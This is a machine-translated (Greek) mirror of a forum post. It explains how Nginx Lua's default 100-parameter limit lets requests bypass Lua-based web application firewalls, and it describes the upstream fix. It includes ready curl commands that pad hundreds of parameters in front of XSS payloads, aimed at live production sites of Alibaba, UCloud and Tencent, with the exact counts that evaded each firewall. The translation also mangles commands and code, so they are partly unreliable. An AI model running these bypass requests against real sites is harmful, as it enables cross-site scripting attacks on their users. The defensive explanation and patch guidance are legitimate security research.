Αυτό το άρθρο είναι ένα άρθρο καθρέφτη της αυτόματης μετάφρασης, κάντε κλικ εδώ για να μεταβείτε στο αρχικό άρθρο.

Άποψη: 16994|Απάντηση: 1

[Ευπάθεια ασφαλείας] Ευπάθεια τείχους προστασίας εφαρμογών WAF του Nginx Lua

[Αντιγραφή συνδέσμου]
Δημοσιεύτηκε στις 27/4/2018 9:23:29 π.μ. | | | |
Όταν το ginx Lua λαμβάνει παραμέτρους, οι πρώτες 100 τιμές παραμέτρων λαμβάνονται από προεπιλογή και οι υπόλοιπες απορρίπτονται.
Επομένως, τα WAF που χρησιμοποιούν Nginx Lua θα παρακάμπτονται από προεπιλογή.
Στις 20 Απριλίου 18, κάποιος από τον επιβάτη ασφαλείας είχε ήδη αποκαλύψει αυτή τη λεπτομέρεια, οπότε δημοσίευσα και αυτό το άρθρο 233.



Αρχή

Η επίσημη περιγραφή έχει ως εξής

Σημειώστε ότι το πολύ 100 ορίσματα αιτήματος αναλύονται από προεπιλογή (συμπεριλαμβανομένων εκείνων με το ίδιο όνομα) και ότι τα πρόσθετα ορίσματα αιτήματος απορρίπτονται σιωπηλά για προστασία από πιθανές επιθέσεις άρνησης υπηρεσίας.

Έως και 100 παράμετροι αιτήματος (συμπεριλαμβανομένων εκείνων με το ίδιο όνομα) μπορούν να αναλυθούν από προεπιλογή και οι πρόσθετες παράμετροι αιτήματος απορρίπτονται αυτόματα για την αποτροπή πιθανών επιθέσεων άρνησης υπηρεσίας.

Αναζήτηση 100, περίπου η ακόλουθη μέθοδος έχει το ίδιο πρόβλημα.
ngx.req.get_uri_args Λάβετε τις παραμέτρους αιτήματος για λήψη
ngx.req.get_post_args Λάβετε τις παραμέτρους αιτήματος για την ανάρτηση
ngx.req.get_headers Λήψη της κεφαλίδας αιτήματος
ngx.decode_args Αποκωδικοποιήστε τη διεύθυνση URL των παραμέτρων
ngx.resp.get_headers Λάβετε την κεφαλίδα απάντησης
Στον πηγαίο κώδικα lua-nginx-module, μπορούμε να δούμε ότι ο πηγαίος κώδικας ορίζει την προεπιλεγμένη μέγιστη παράμετρο αιτήματος και την κεφαλίδα σε 100




#ifndef NGX_HTTP_LUA_MAX_HEADERS
#define NGX_HTTP_LUA_MAX_HEADERS 100
#endif

Ωστόσο, ο υπάλληλος παρέχει μια μέθοδο τροποποίησης της προεπιλεγμένης τιμής, όπως ngx.req.get_uri_args (200) για να λάβετε τις πρώτες 200 παραμέτρους αιτήματος.

Δοκιμή

Εάν η παράμετρος αιτήματος είναι 101, δεν είναι δυνατή η λήψη της τελευταίας παραμέτρου αιτήματος.

μπούκλα -v «http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg»

Εάν μειώσετε μία παράμετρο αιτήματος, μπορείτε να λάβετε την παράμετρο τελευταίου αιτήματος όταν οι παράμετροι αιτήματος είναι ακριβώς 100.

a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62
Α: ZBG
Έχω u, zbg

Λάβετε υπόψη ότι η προεπιλογή είναι πράγματι 100 παράμετροι αιτήματος και οι παράμετροι αιτήματος μετά από 100 παραμέτρους αιτήματος θα απορριφθούν.

Υπάρχει ένα περίεργο πράγμα ότι στο περιεχόμενο επιστροφής παραπάνω, στη μέση της πρόχειρης θέσης, η τελική παράμετρος zbg είναι ήδη έξοδος. Η εικασία μου είναι ότι η έξοδος δεν είναι σε σειρά, αλλά η σειρά με την οποία γίνεται η ανάλυση ακολουθεί τη σειρά με την οποία υποβάλλονται οι παράμετροι, επειδή όταν η τιμή της 101ης παραμέτρου είναι zbg, η τιμή δεν μπορεί να ληφθεί.

Επισυνάπτεται το σενάριο python που δημιουργεί τις παραμέτρους:

# Συγγραφέας: ZBG
# ταχυδρομείο:zbg@zbg.org
# ημερομηνία: 2018-04-03

α = ''
για i στο εύρος(200):
    a = a + 'a{0}={1}&'.format(i+1, i+1)
Εκτυπώστε ένα
επισκευάζω
Φυσικά, δεν συνιστάται η τροποποίηση της τιμής MAX της παραμέτρου στον πηγαίο κώδικα. Γιατί όσο μεγάλη και αν είναι η τιμή που ορίζετε, μπορεί να παρακαμφθεί. Συνιστάται να το ρυθμίσετε μέσω των παραμέτρων της μεθόδου.
Αν μπορείτε να πάρετε το μήκος της παραμέτρου αιτήματος και να χρησιμοποιήσετε μια μέθοδο όπως ngx.req.get_uri_args (μήκος), δεν θα ήταν αρκετό;
Διαβάζοντας την τεκμηρίωση, διαπίστωσα ότι δεν ήταν δυνατή η λήψη του αριθμού των ζητούμενων παραμέτρων. Ωστόσο, εάν ορίσετε το μήκος στο 0, μπορείτε να λάβετε όλες τις ζητούμενες παραμέτρους.

Αυτό το όρισμα μπορεί να μηδενιστεί για να καταργήσετε το όριο και να επεξεργαστείτε όλα τα ορίσματα αιτήματος που ελήφθησαν.
τοπικά args = ngx.req.get_uri_args(0)

Ωστόσο, αποθαρρύνεται έντονα να το ορίσετε στο 0 για να αποτρέψετε πιθανές επιθέσεις άρνησης υπηρεσίας.

Η αφαίρεση του max_args καπακιού αποθαρρύνεται έντονα.

Στην πραγματικότητα, αναρωτιόμουν γιατί η ρύθμιση 0 θα οδηγούσε σε πιθανή επίθεση άρνησης υπηρεσίας και το αίτημα θα πήγαινε στο nginx ούτως ή άλλως, ανεξάρτητα από το πόσες παράμετροι υπήρχαν στο get ή στο post.

Έθεσα ένα ζήτημα στον υπάλληλο και ο συγγραφέας είπε ότι ngx.req.get_uri_args (0) θα αυξήσει τη χρήση της CPU και της μνήμης του διακομιστή. Αργότερα, δοκίμασα 200 παραμέτρους και χρησιμοποίησα το Nginx+php για να αποκτήσω την 200η παράμετρο, πράγμα που σημαίνει ότι το Nginx δεν περιορίζει τον αριθμό των ζητούμενων παραμέτρων από προεπιλογή. Τότε το πρόβλημα μπορεί να βρίσκεται στο ίδιο το Nginx Lua,Όταν το Nginx Lua χρησιμοποιεί το ngx.req.get_uri_args(0) για να λάβει όλες τις παραμέτρους και να τις επαναλάβει, όταν ζητηθούν πολλές παράμετροι, καταναλώνει περισσότερη CPU και μνήμη και τελικά οδηγεί ακόμη και σε άρνηση υπηρεσίας

Στις 04/03/2018, το Bypass007 έθεσε επίσημα ένα ΖΗΤΗΜΑ σχετικά με αυτήν τη διόρθωση σφαλμάτων και τελικά πρόσθεσε επίσημα μια νέα δυνατότητα με βάση αυτό το ΖΗΤΗΜΑ στις 21-04-2018. Η διεύθυνση εγγραφής υποβολής αυτής της συνάρτησης: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd

Η περιγραφή της συνάρτησης έχει ως εξής: Σε εκδόσεις μετά την έκδοση 0.10.13 (συμπεριλαμβανομένης της έκδοσης 0.10.13), όταν παραβιάζεται ο οριακός αριθμός αιτημάτων, η δεύτερη τιμή επιστροφής είναι η περικομμένη συμβολοσειρά.
Από την έκδοση 0.10.13, όταν ξεπεραστεί το όριο, θα επιστρέψει μια δεύτερη τιμή που είναι η συμβολοσειρά "περικομμένη".
Ωστόσο, το όρισμα της προαιρετικής συνάρτησης max_args μπορεί να χρησιμοποιηθεί για την παράκαμψη αυτού του ορίου:
τοπικά args, err = ngx.req.get_uri_args(10)
αν err == "περικομμένο" τότε
     -- κάποιος μπορεί να επιλέξει να αγνοήσει ή να απορρίψει το τρέχον αίτημα εδώ
Τέλος

Έτσι, βγήκε η τελική λύση.

Αναβαθμίστε το lua-nginx-module σε έκδοση 0.10.13 ή νεότερη έκδοση

Στη συνέχεια, περιορίστε τον συνολικό αριθμό των παραμέτρων, καθώς για το πόσο περιορίζεται ο συνολικός αριθμός, προσωπικά πιστεύω ότι αρκούν 100

Το OpenResty αναβαθμίζει τη μονάδα lua-nginx-module

Δεν βρήκα καμία πληροφορία σχετικά με τη μονάδα αναβάθμισης OpenResty, οπότε κατάλαβα πώς να αναβαθμίσω τη μονάδα lua-nginx-module μόνος μου.

Τα βήματα είναι τα εξής:

Κατεβάστε την αντίστοιχη έκδοση της μονάδας lua-nginx-module
wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13
ξεπακετάρω
tar -zxvf v0.10.13
Διαγράψτε την προηγούμενη έκδοση lua-nginx-module
rm -rf openresty-1.9.15.1/bundle/ngx_lua-0.10.5
Αντιγράψτε τη νέα μονάδα lua-nginx
MV lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13
Για μεταγλώττιση, ανατρέξτε στις παραμέτρους μεταγλώττισης του VeryNginx


Παράκαμψη υπόθεσης

Θα πρέπει να διευκρινιστεί ότι τα ακόλουθα WAF Δεν είμαι σίγουρος αν θα χρησιμοποιήσω το Nginx Lua, αλλά μπορούν να παρακαμφθούν από τον συνολικό αριθμό των παραμέτρων.

Αλί WAF

Αυτό το WAF είναι ένα WAF που χρησιμοποιείται εσωτερικά από την Alibaba, δηλαδή το WAF που χρησιμοποιείται από ονόματα τομέα όπως *.taobao.com, και δεν έχει δοκιμαστεί για το cloud WAF που πωλείται από το Alibaba Cloud.
Πρώτα, ζητήστε ένα ωφέλιμο φορτίο POST XSS για να το υποκλέψετε.
curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
Μέσω του Fuzz, διαπιστώθηκε ότι όταν ο αριθμός των παραμέτρων αυξάνεται σε 478, με ωφέλιμο φορτίο XSS, δεν παρεμποδίζεται πλέον και η πρόσβαση στον ιστότοπο είναι κανονικά.
μπούκλα -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com

UCloud

Το WAF που δοκιμάστηκε είναι ένα WAF που πωλείται από την UCloud.
Όταν η παράμετρος αιτήματος αυξηθεί σε 138, δεν θα αποκλείεται πλέον και η πρόσβαση στον ιστότοπο θα γίνεται κανονικά.
μπούκλα -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn

Tencent WAF

Αυτό το WAF είναι ένα WAF που χρησιμοποιείται από την Tencent εσωτερικά, δηλαδή το WAF που χρησιμοποιείται από ονόματα τομέα όπως *.qq.com, και δεν έχει δοκιμαστεί για το cloud WAF που πωλείται από την Tencent Cloud.
Όταν η παράμετρος αιτήματος αυξηθεί σε 4000, δεν θα αποκλείεται πλέον και η πρόσβαση στον ιστότοπο θα γίνεται κανονικά. Επηρεάζονται οι τυχαίες δοκιμές των ακόλουθων τομέων.
web.qq.com
ke.qq.com
auto.qq.com
news.qq.com
sports.qq.com
time.qq.com

περίληψη

Αυτή η ερώτηση είναι πολύ απλή και μπορείτε να τη βρείτε διαβάζοντας προσεκτικά το έγγραφο. Γιατί όμως δεν το έμαθα; Νομίζω ότι είναι ακόμα πολύ λίγη σκέψη.
Υπόδειξη
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd





Προηγούμενος:Μάθετε Photoshop από την αρχή, 18 μαθήματα από τον αρχάριο στον θεό
Επόμενος:Δυνατά και αδύνατα σημεία των Lua και Luajit
Αποκήρυξη:
Όλο το λογισμικό, το υλικό προγραμματισμού ή τα άρθρα που δημοσιεύονται από το Code Farmer Network προορίζονται μόνο για μαθησιακούς και ερευνητικούς σκοπούς. Το παραπάνω περιεχόμενο δεν θα χρησιμοποιηθεί για εμπορικούς ή παράνομους σκοπούς, άλλως οι χρήστες θα υποστούν όλες τις συνέπειες. Οι πληροφορίες σε αυτόν τον ιστότοπο προέρχονται από το Διαδίκτυο και οι διαφορές πνευματικών δικαιωμάτων δεν έχουν καμία σχέση με αυτόν τον ιστότοπο. Πρέπει να διαγράψετε εντελώς το παραπάνω περιεχόμενο από τον υπολογιστή σας εντός 24 ωρών από τη λήψη. Εάν σας αρέσει το πρόγραμμα, υποστηρίξτε γνήσιο λογισμικό, αγοράστε εγγραφή και λάβετε καλύτερες γνήσιες υπηρεσίες. Εάν υπάρχει οποιαδήποτε παραβίαση, επικοινωνήστε μαζί μας μέσω email.

Mail To:help@itsvse.com